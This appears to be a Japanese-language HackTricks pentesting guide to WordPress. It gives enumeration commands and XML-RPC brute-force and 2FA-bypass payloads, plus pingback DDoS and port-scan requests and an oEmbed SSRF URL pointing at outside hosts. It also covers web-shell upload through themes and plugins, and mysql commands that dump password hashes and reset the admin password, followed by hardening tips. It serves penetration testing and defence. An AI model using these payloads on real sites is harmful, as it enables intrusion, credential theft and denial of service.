Wordpress
Reading time: 24 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
基本情報
-
アップロードされたファイルは次の場所にあります:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
テーマファイルは /wp-content/themes/ にあります。 したがって、RCEを取得するためにテーマのphpを変更する場合は、そのパスを使用することになります。例えば、テーマ twentytwelveを使用すると、次の場所にある404.phpファイルにアクセスできます: /wp-content/themes/twentytwelve/404.php
-
別の便利なURLは次のとおりです: /wp-content/themes/default/404.php
-
wp-config.phpにはデータベースのルートパスワードが含まれています。
-
確認すべきデフォルトのログインパス: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
主なWordPressファイル
index.php
license.txt
には、インストールされたWordPressのバージョンなどの有用な情報が含まれています。wp-activate.php
は、新しいWordPressサイトを設定する際のメールアクティベーションプロセスに使用されます。- ログインフォルダ(隠すために名前が変更されることがあります):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
は、HTTPを輸送メカニズム、XMLをエンコーディングメカニズムとして使用してデータを送信するWordPressの機能を表すファイルです。このタイプの通信は、WordPressのREST APIに置き換えられました。wp-content
フォルダは、プラグインとテーマが保存される主なディレクトリです。wp-content/uploads/
は、プラットフォームにアップロードされたファイルが保存されるディレクトリです。wp-includes/
は、証明書、フォント、JavaScriptファイル、ウィジェットなどのコアファイルが保存されるディレクトリです。wp-sitemap.xml
は、WordPressバージョン5.5以降、WordPressがすべての公開投稿と公開可能な投稿タイプおよびタクソノミーを含むサイトマップXMLファイルを生成します。
ポストエクスプロイト
wp-config.php
ファイルには、データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルプレフィックスなど、WordPressがデータベースに接続するために必要な情報が含まれています。この設定ファイルは、トラブルシューティングに役立つDEBUGモードを有効にするためにも使用できます。
ユーザー権限
- 管理者
- エディター: 自分と他の投稿を公開および管理
- 著者: 自分の投稿を公開および管理
- 寄稿者: 自分の投稿を書くことができ、管理することができますが、公開することはできません
- 購読者: 投稿をブラウズし、自分のプロフィールを編集
パッシブ列挙
WordPressバージョンの取得
/license.txt
または/readme.html
ファイルを見つけられるか確認します。
ページのソースコード内(https://wordpress.org/support/article/pages/からの例):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- CSSリンクファイル
- JavaScriptファイル
プラグインを取得する
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
テーマを取得する
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
一般的なバージョンの抽出
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
アクティブ列挙
プラグインとテーマ
すべてのプラグインとテーマを見つけることはおそらくできません。すべてを発見するためには、プラグインとテーマのリストをアクティブにブルートフォースする必要があります(私たちにとって幸運なことに、このリストを含む自動化ツールがあります)。
ユーザー
- IDブルート: ユーザーIDをブルートフォースすることで、WordPressサイトから有効なユーザーを取得します:
curl -s -I -X GET http://blog.example.com/?author=1
レスポンスが 200 または 30X の場合、それは id が 有効 であることを意味します。レスポンスが 400 の場合、id は 無効 です。
- wp-json: ユーザーに関する情報を取得するために、次のようにクエリを試すこともできます:
curl http://blog.example.com/wp-json/wp/v2/users
ユーザーに関する情報を明らかにする別の /wp-json/
エンドポイントは次のとおりです:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
このエンドポイントは、投稿を行ったユーザーのみを公開します。この機能が有効なユーザーに関する情報のみが提供されます。
また、/wp-json/wp/v2/pages はIPアドレスを漏洩する可能性があります。
- ログインユーザー名の列挙:
/wp-login.php
にログインすると、メッセージはユーザー名が存在するかどうかで異なります。
XML-RPC
xml-rpc.php
がアクティブな場合、資格情報のブルートフォース攻撃を実行するか、他のリソースに対してDoS攻撃を開始するために使用できます。(このプロセスを自動化することができます using this など)。
アクティブかどうかを確認するには、/xmlrpc.php にアクセスして、このリクエストを送信してください:
チェック
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
クレデンシャルブルートフォース
wp.getUserBlogs
、wp.getCategories
または metaWeblog.getUsersBlogs
は、クレデンシャルをブルートフォースするために使用できるいくつかのメソッドです。これらのいずれかを見つけることができれば、次のようなものを送信できます:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
メッセージ "Incorrect username or password" は、資格情報が無効な場合に200コードのレスポンス内に表示されるべきです。
正しい資格情報を使用すると、ファイルをアップロードできます。レスポンスにはパスが表示されます (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
また、system.multicall
を使用して、同じリクエストで複数の資格情報を試すことができるより高速な方法があります:
.png)
2FAのバイパス
この方法はプログラム向けであり、人間向けではなく、古いため、2FAをサポートしていません。したがって、有効な資格情報があるが、メインの入り口が2FAで保護されている場合、xmlrpc.phpを悪用してその資格情報で2FAをバイパスしてログインできる可能性があります。コンソールを通じてできるすべてのアクションを実行することはできませんが、Ippsecがhttps://www.youtube.com/watch?v=p8mIdm93mfw&t=1130sで説明しているように、RCEに到達できる可能性があります。
DDoSまたはポートスキャン
リスト内にメソッド_pingback.ping_が見つかれば、Wordpressに任意のホスト/ポートにリクエストを送信させることができます。
これを使用して、数千のWordpress サイトに1つの場所にアクセスさせることができ(その場所でDDoSが発生します)、またはWordpressに内部ネットワークをスキャンさせることができます(任意のポートを指定できます)。
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
faultCodeの値が0より大きい(17)の場合、ポートが開いていることを意味します。
このメソッドを悪用してDDoSを引き起こす方法を学ぶには、前のセクションでの**system.multicall
**の使用を確認してください。
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
このファイルは通常、Wordpressサイトのルートに存在します: /wp-cron.php
このファイルがアクセスされると、"重い" MySQL クエリが実行されるため、攻撃者によってDoSを引き起こすために使用される可能性があります。
また、デフォルトでは、wp-cron.php
はすべてのページロード時に呼び出されます(クライアントが任意のWordpressページをリクエストするたびに)、高トラフィックのサイトでは問題を引き起こす可能性があります(DoS)。
Wp-Cronを無効にし、ホスト内で必要なアクションを定期的に実行する実際のcronjobを作成することをお勧めします(問題を引き起こさないように)。
/wp-json/oembed/1.0/proxy - SSRF
https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net にアクセスしてみてください。Worpressサイトがあなたにリクエストを送信するかもしれません。
動作しないときのレスポンスは次のとおりです:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
このツールは、methodName: pingback.pingと**/wp-json/oembed/1.0/proxy**のパスが存在するかどうかをチェックし、存在する場合はそれを悪用しようとします。
Automatic Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
ビットを上書きしてアクセスを得る
これは実際の攻撃というよりは好奇心です。CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man では、任意のwordpressファイルの1ビットを反転させることができました。したがって、ファイル /var/www/html/wp-includes/user.php
の位置 5389
を反転させてNOT (!
) 操作をNOPにすることができました。
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
パネル RCE
使用しているテーマの php を変更する(管理者の資格情報が必要)
外観 → テーマエディタ → 404 テンプレート(右側)
php シェルの内容に変更します:
インターネットでその更新されたページにアクセスする方法を検索します。この場合、ここにアクセスする必要があります: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
使用できます:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
プラグイン RCE
PHP プラグイン
プラグインとして .php ファイルをアップロードすることが可能かもしれません。
例えば、次のようにして php バックドアを作成します:
次に、新しいプラグインを追加します:
プラグインをアップロードし、今すぐインストールを押します:
続行をクリックします:
おそらく、これでは何も起こらないように見えますが、メディアに移動すると、アップロードしたシェルが表示されます:
アクセスすると、リバースシェルを実行するための URL が表示されます:
悪意のあるプラグインのアップロードと有効化
この方法は、脆弱性が知られている悪意のあるプラグインのインストールを含み、ウェブシェルを取得するために悪用できます。このプロセスは、WordPress ダッシュボードを通じて次のように実行されます:
- プラグインの取得: プラグインは、ここのような Exploit DB などのソースから取得されます。
- プラグインのインストール:
- WordPress ダッシュボードに移動し、
ダッシュボード > プラグイン > プラグインのアップロード
に進みます。 - ダウンロードしたプラグインの zip ファイルをアップロードします。
- プラグインの有効化: プラグインが正常にインストールされたら、ダッシュボードを通じて有効化する必要があります。
- 悪用:
- "reflex-gallery" プラグインがインストールされ、有効化されていると、脆弱性が知られているため悪用できます。
- Metasploit フレームワークは、この脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、メーターpreter セッションを確立し、サイトへの不正アクセスを許可します。
- これは、WordPress サイトを悪用するための多くの方法のうちの一つに過ぎないことに注意してください。
この内容には、プラグインのインストールと有効化のための WordPress ダッシュボードでの手順を示す視覚的な補助が含まれています。ただし、この方法で脆弱性を悪用することは、適切な承認なしに違法で非倫理的であることに注意が必要です。この情報は、責任を持って使用し、明示的な許可を得たペネトレーションテストなどの法的な文脈でのみ使用するべきです。
詳細な手順については、次を確認してください: https://www.hackingarticles.in/wordpress-reverse-shell/
XSS から RCE へ
- WPXStrike: WPXStrike は、Cross-Site Scripting (XSS) 脆弱性を Remote Code Execution (RCE) または他の重大な脆弱性にエスカレートするために設計されたスクリプトです。詳細については、この投稿を確認してください。これは Wordpress バージョン 6.X.X、5.X.X、4.X.X をサポートし、次のことを可能にします:
- 権限昇格: WordPress にユーザーを作成します。
- (RCE) カスタムプラグイン (バックドア) アップロード: カスタムプラグイン (バックドア) を WordPress にアップロードします。
- (RCE) ビルトインプラグイン編集: WordPress のビルトインプラグインを編集します。
- (RCE) ビルトインテーマ編集: WordPress のビルトインテーマを編集します。
- (カスタム) カスタムエクスプロイト: サードパーティの WordPress プラグイン/テーマ用のカスタムエクスプロイト。
ポストエクスプロイト
ユーザー名とパスワードを抽出します:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
管理者パスワードを変更する:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Attack Surface
Wordpressプラグインが機能をどのように公開するかを知ることは、その機能の脆弱性を見つけるための鍵です。プラグインが機能をどのように公開するかは、以下の箇条書きと、このブログ記事にある脆弱なプラグインのいくつかの例で確認できます。
wp_ajax
プラグインが機能をユーザーに公開する方法の一つは、AJAXハンドラーを介することです。これらには、ロジック、認可、または認証のバグが含まれている可能性があります。さらに、これらの関数は、Wordpressインスタンスに認証された任意のユーザーが持っている可能性のあるWordpress nonceの存在に基づいて、認証と認可の両方を行うことがよくあります(役割に関係なく)。
これらは、プラグイン内で関数を公開するために使用できる関数です:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
nopriv
の使用により、エンドポイントはすべてのユーザー(認証されていないユーザーも含む)にアクセス可能になります。
caution
さらに、関数がwp_verify_nonce
関数を使用してユーザーの認証を確認しているだけの場合、この関数はユーザーがログインしているかどうかを確認しているだけで、通常はユーザーの役割を確認していません。したがって、権限の低いユーザーが権限の高いアクションにアクセスできる可能性があります。
- REST API
register_rest_route
関数を使用して、WordPressから関数を公開することも可能です。
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
permission_callback
は、特定のユーザーがAPIメソッドを呼び出す権限があるかどうかを確認するためのコールバック関数です。
組み込みの __return_true
関数が使用される場合、ユーザー権限のチェックは単にスキップされます。
- PHPファイルへの直接アクセス
もちろん、WordPressはPHPを使用しており、プラグイン内のファイルはウェブから直接アクセス可能です。したがって、プラグインがファイルにアクセスするだけでトリガーされる脆弱な機能を公開している場合、どのユーザーでも悪用可能です。
WordPressの保護
定期的な更新
WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.phpで自動更新が有効になっていることを確認してください。
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
また、信頼できるWordPressプラグインとテーマのみをインストールしてください。
セキュリティプラグイン
その他の推奨事項
- デフォルトのadminユーザーを削除する
- 強力なパスワードと2FAを使用する
- 定期的にユーザーの権限をレビューする
- ブルートフォース攻撃を防ぐためにログイン試行回数を制限する
- **
wp-admin.php
**ファイルの名前を変更し、内部または特定のIPアドレスからのみアクセスを許可する。
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。